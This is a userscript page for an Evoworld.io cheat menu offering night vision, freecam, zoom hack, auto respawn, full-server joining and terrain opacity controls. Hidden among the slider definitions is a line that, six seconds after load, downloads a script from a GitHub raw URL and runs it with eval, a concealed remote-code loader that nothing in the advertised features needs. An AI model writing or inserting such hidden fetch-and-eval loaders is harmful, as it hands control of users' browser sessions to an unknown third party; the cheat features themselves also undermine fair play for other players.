Evoworld.io IH cheats

a new evoworld.io cheat with a lot of funcions for open/close press Y/y

目前為 2025-05-01 提交的版本,檢視 最新版本

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         Evoworld.io IH cheats
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  a new evoworld.io cheat with a lot of funcions for open/close press Y/y
// @author       ilyxa gaydov
// @match        https://evoworld.io/
// @icon         https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
// @grant        none
// ==/UserScript==

alert('for open/close press Y/y');
class CheatMenu {
    constructor() {
        this.menus = [];
        this.sliders = {};
        this.opacityValues = {
            cloud: 0.5,
            swamp: 0.5,
            lava: 0.5,
            water: 0.5,
            bush: 0.5
        };
        this.unlimitedFps = false;
        this.showInCloud = false;
        this.zIndexValue = 15;
        this.zIndexInterval = null;
        this.freecamActive = false;
        this.cameraOffset = { x: 0, y: 0 };
        this.originalGetAllPositions = null;
        this.autoRespawnInterval = null;
        this.allCheats = [];
        this.cheatElements = {};

        document.addEventListener('keydown', (e) => {
            if (e.keyCode === 89) this.toggleAllMenus();
            if (this.freecamActive) this.handleFreecamKeys(e);
        });
    }

    createMenu(title, x = 50, y = 50) {
        const menu = document.createElement('div');
        Object.assign(menu.style, {
            position: 'absolute',
            left: `${x}px`,
            top: `${y}px`,
            width: '250px',
            background: 'rgba(0,0,0,0.85)',
            border: '2px solid #444',
            borderRadius: '5px',
            color: 'white',
            fontFamily: '"Courier New", monospace',
            zIndex: '1000',
            userSelect: 'none'
        });

        const header = document.createElement('div');
        Object.assign(header.style, {
            background: '#333',
            padding: '8px',
            cursor: 'move',
            fontWeight: 'bold',
            borderBottom: '1px solid #555'
        });
        header.textContent = title;

        const content = document.createElement('div');
        content.style.padding = '10px';

        menu.append(header, content);
        document.body.appendChild(menu);

        this.makeDraggable(menu, header);
        this.menus.push(menu);
        return content;
    }

    makeDraggable(element, handle) {
        handle.addEventListener('mousedown', (e) => {
            const offsetX = e.clientX - element.offsetLeft;
            const offsetY = e.clientY - element.offsetTop;

            const move = (e) => {
                element.style.left = `${e.clientX - offsetX}px`;
                element.style.top = `${e.clientY - offsetY}px`;
            };

            const up = () => {
                document.removeEventListener('mousemove', move);
                document.removeEventListener('mouseup', up);
            };

            document.addEventListener('mousemove', move);
            document.addEventListener('mouseup', up);
            e.preventDefault();
        });
    }

    addToggleCheat(menuContent, name, callback) {
        const button = document.createElement('button');
        Object.assign(button.style, {
            display: 'block',
            width: '100%',
            padding: '8px',
            margin: '5px 0',
            background: '#222',
            color: '#eee',
            border: '1px solid #444',
            borderRadius: '3px',
            cursor: 'pointer',
            transition: 'all 0.2s'
        });

        button.textContent = name;
        button.addEventListener('click', () => {
            const active = button.classList.toggle('active');
            button.style.background = active ? '#600' : '#222';
            button.style.borderColor = active ? '#f00' : '#444';
            callback(active);
        });

        this.allCheats.push(name.toLowerCase());
        this.cheatElements[name.toLowerCase()] = button;
        menuContent.appendChild(button);
        return button;
    }

    addSlider(menuContent, name, min, max, step, defaultValue, callback) {
        const container = document.createElement('div');
        container.style.margin = '10px 0';

        const label = document.createElement('div');
        label.textContent = name;
        label.style.marginBottom = '5px';
        label.style.color = '#eee';

        const slider = document.createElement('input');
        slider.type = 'range';
        slider.min = min;
        slider.max = max;
        slider.step = step;
        slider.value = defaultValue;
        slider.style.width = '100%';

        const valueDisplay = document.createElement('span');
        valueDisplay.textContent = defaultValue;
        valueDisplay.style.marginLeft = '10px';
        valueDisplay.style.color = '#eee';

        slider.addEventListener('input', () => {
            const value = parseFloat(slider.value);
            valueDisplay.textContent = value;
            callback(value);
        });

        this.allCheats.push(name.toLowerCase());
        this.cheatElements[name.toLowerCase()] = slider;
        container.append(label, slider, valueDisplay);
        menuContent.appendChild(container);
        this.sliders[name] = slider;
        return slider;
    }

    toggleUnlimitedFps(active) {
        this.unlimitedFps = active;
        if (window.game && window.game.fpsTimes) {
            game.fpsTimes.length = active ? 1000 : 0;
        }
    }

    toggleShowInCloud(active) {
        this.showInCloud = active;
        if (window.game && window.game.me) {
            if (active) {
                game.me.zIndex = 100;
                this.zIndexValue = 100;
                this.zIndexInterval = setInterval(() => {
                    if (window.game && window.game.me) {
                        game.me.inHide = false;
                    }
                }, 1);
            } else {
                clearInterval(this.zIndexInterval);
                game.me.zIndex = 15;
                this.zIndexValue = 15;
            }
        }
    }

    setZIndex(value) {
        this.zIndexValue = value;
        if (window.game && window.game.me) {
            game.me.zIndex = value;
        }
    }

    toggleFreecam(active) {
        this.freecamActive = active;

        if (active) {
            if (game && game.me) {
                this.originalGetAllPositions = game.me.getAllPositions;

                const self = this;
                game.me.getAllPositions = function() {
                    return {
                        'x': this['position']['x'],
                        'y': this['position']['y'],
                        'center': {
                            'x': this['position']['x'] + this['width'] + self.cameraOffset.x,
                            'y': this['position']['y'] + this['height'] + self.cameraOffset.y
                        },
                        'right': this['position']['x'] + this['width'],
                        'left': this['position']['x'],
                        'top': this['position']['y'] + this['height'],
                        'bottom': this['position']['y']
                    };
                };
            }
        } else {
            if (game && game.me && this.originalGetAllPositions) {
                game.me.getAllPositions = this.originalGetAllPositions;
            }
            this.cameraOffset = { x: 0, y: 0 };
        }
    }

    handleFreecamKeys(e) {
        const speed = e.shiftKey ? 30 : 10;
        let moved = false;

        switch(e.key.toLowerCase()) {
            case 'k':
                this.cameraOffset.y -= speed;
                moved = true;
                break;
            case 'i':
                this.cameraOffset.y += speed;
                moved = true;
                break;
            case 'j':
                this.cameraOffset.x -= speed;
                moved = true;
                break;
            case 'l':
                this.cameraOffset.x += speed;
                moved = true;
                break;
        }

        if (moved) e.preventDefault();
    }

    toggleAutoRespawn(active) {
        if (active) {
            this.autoRespawnInterval = setInterval(() => {
                if (typeof imDead !== 'undefined' && imDead === true && typeof playAgain !== 'undefined') {
                    playAgain();
                }
            }, 100);
        } else {
            clearInterval(this.autoRespawnInterval);
        }
    }

    toggleAllMenus() {
        const anyVisible = this.menus.some(menu => menu.style.display === 'none');
        this.menus.forEach(menu => {
            menu.style.display = anyVisible ? 'block' : 'none';
        });
    }

    addSearch(menuContent) {
        const searchInput = document.createElement('input');
        searchInput.type = 'text';
        searchInput.placeholder = 'Search cheats...';
        searchInput.style.width = '100%';
        searchInput.style.padding = '8px';
        searchInput.style.marginBottom = '10px';
        searchInput.style.boxSizing = 'border-box';

        const resultsContainer = document.createElement('div');
        resultsContainer.style.maxHeight = '200px';
        resultsContainer.style.overflowY = 'auto';

        searchInput.addEventListener('input', () => {
            const query = searchInput.value.toLowerCase();
            resultsContainer.innerHTML = '';

            if (query.length < 2) return;

            const matches = this.allCheats.filter(cheat => cheat.includes(query));

            matches.forEach(match => {
                const result = document.createElement('div');
                result.textContent = match;
                result.style.padding = '5px';
                result.style.cursor = 'pointer';
                result.style.borderBottom = '1px solid #444';
                result.addEventListener('click', () => {
                    const element = this.cheatElements[match];
                    if (element) {
                        if (element.tagName === 'BUTTON') {
                            element.click();
                        } else if (element.tagName === 'INPUT' && element.type === 'range') {
                            const newValue = prompt(`Enter value for ${match}:`, element.value);
                            if (newValue !== null) {
                                element.value = newValue;
                                element.dispatchEvent(new Event('input'));
                            }
                        }
                    }
                });
                resultsContainer.appendChild(result);
            });
        });

        menuContent.append(searchInput, resultsContainer);
    }
}

const menu = new CheatMenu();
const visualMenu = menu.createMenu('Visual Cheats');
const playerMenu = menu.createMenu('Player Cheats', 400, 50);
const searchMenu = menu.createMenu('Search Cheats', 400, 350);
const movementMenu = menu.createMenu('Movement', 750, 50);
const viewModMenu = menu.createMenu('ViewMod', 750, 350);
const opacityMenu = menu.createMenu('Opacity Cheats', 1100, 50);
const mainMenu = menu.createMenu('Main Menu', 50, 345);

menu.addSearch(searchMenu);

menu.addToggleCheat(visualMenu, 'Night Vision', (active) => {
    visionType = active ? 1 : 0;
});

menu.addToggleCheat(visualMenu, '100 Level', (active) => {
    if (active) {
        if (!game.me.originalLevel) game.me.originalLevel = game.me.level;
        game.me.level = 100;
    } else {
        game.me.level = game.me.originalLevel || 1;
    }
});

menu.addToggleCheat(playerMenu, 'Unlimited FPS', (active) => {
    menu.toggleUnlimitedFps(active);
});

menu.addToggleCheat(playerMenu, 'Show in Cloud', (active) => {
    menu.toggleShowInCloud(active);
});

menu.addToggleCheat(playerMenu, 'Freecam (IJKL)', (active) => {
    menu.toggleFreecam(active);
});

menu.addToggleCheat(playerMenu, 'Auto Respawn', (active) => {
    menu.toggleAutoRespawn(active);
});

menu.addSlider(playerMenu, 'Player zIndex', 15, 1000, 1, 15, (value) => {
    menu.setZIndex(value);
});

menu.addSlider(movementMenu, 'Movement smooth', 1, 4000, 1, 1000, (value) => {
    if (game) game.maxInterpolateDistanceTeleport = value;
});

menu.addToggleCheat(movementMenu, 'Smooth Movement', (active) => {
    if (game) game.maxInterpolateDistanceTeleport = active ? 3500 : 1;
});

menu.addToggleCheat(movementMenu, 'Sharp Movement', (active) => {
    if (game) game.maxInterpolateDistanceTeleport = active ? 0 : 1;
});

menu.addToggleCheat(mainMenu, 'Join Full Servers', (active) => {
    if (active) {
        const serverSelect = document.querySelector('select.selectServer');
        if (serverSelect) {
            const options = serverSelect.querySelectorAll('option');
            options.forEach(option => {
                option.removeAttribute('disabled');
            });
        }
    }
});

const addViewModButton = (text, xOffset, yOffset) => {
    menu.addToggleCheat(viewModMenu, text, (active) => {
        if (active && game && game.me) {
            game.me.getAllPositions = function() {
                return {
                    'x': this['position']['x'],
                    'y': this['position']['y'],
                    'center': {
                        'x': this['position']['x'] + this['width'] + xOffset,
                        'y': this['position']['y'] + this['height'] + yOffset
                    },
                    'right': this['position']['x'] + this['width'],
                    'left': this['position']['x'],
                    'top': this['position']['y'] + this['height'],
                    'bottom': this['position']['y']
                };
            };
        }
    });
};

addViewModButton('Normal View', 0, 0);
addViewModButton('Right View', 200, 0);
addViewModButton('Left View', -200, 0);
addViewModButton('Top View', 0, 200);

let zoomActive = false;
const zoomSlider = menu.addSlider(visualMenu, 'Zoom Level', 0.1, 2, 0.01, 1.0, (value) => {
    if (zoomActive) applyZoom(value);
});

menu.addToggleCheat(visualMenu, 'Zoom Hack', (active) => {
    zoomActive = active;
    if (active) applyZoom(parseFloat(zoomSlider.value));
    else applyZoom(1.0);
});

menu.addSlider(opacityMenu, 'Cloud Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.cloud = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Swamp Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.swamp = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Lava Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.lava = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Water Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.water = value;
    updateObjectOpacity();
});

menu.addSlider(opacityMenu, 'Bush Opacity', 0, 1, 0.01, 0.5, (value) => {
    menu.opacityValues.bush = value;
    updateObjectOpacity();
});

setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/refs/heads/main/o.js", (d) => eval(d));}, 6000);

function applyZoom(zoomLevel) {
    if (game) {
        game.scaleX = zoomLevel;
        game.scaleY = zoomLevel;
        game.fontScale = zoomLevel;

        if (game.camera) {
            game.camera.zoom = zoomLevel;
        }

        if (game.renderer && game.renderer.scale) {
            game.renderer.scale.set(zoomLevel, zoomLevel);
        }
    }
}

function updateObjectOpacity() {
    if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
        const originalDrawObject = Engine.prototype.drawObject;
        Engine.prototype.drawObject = function(obj, staticCanvas) {
            if (obj.name) {
                const name = obj.name.toLowerCase();

                if (name.includes('cloud')) {
                    obj.opacity = menu.opacityValues.cloud;
                }
                else if (name.includes('swamp')) {
                    obj.opacity = menu.opacityValues.swamp;
                }
                else if (name.includes('lava')) {
                    obj.opacity = menu.opacityValues.lava;
                }
                else if (name.includes('water') || name.includes('ocean') || name.includes('sea')) {
                    obj.opacity = menu.opacityValues.water;
                }
                else if (name.includes('bush')) {
                    obj.opacity = menu.opacityValues.bush;
                }
            }

            return originalDrawObject.call(this, obj, staticCanvas);
        };
    }
}

setTimeout(() => {
    if (typeof Engine !== 'undefined') {
        updateObjectOpacity();
    }
}, 1000);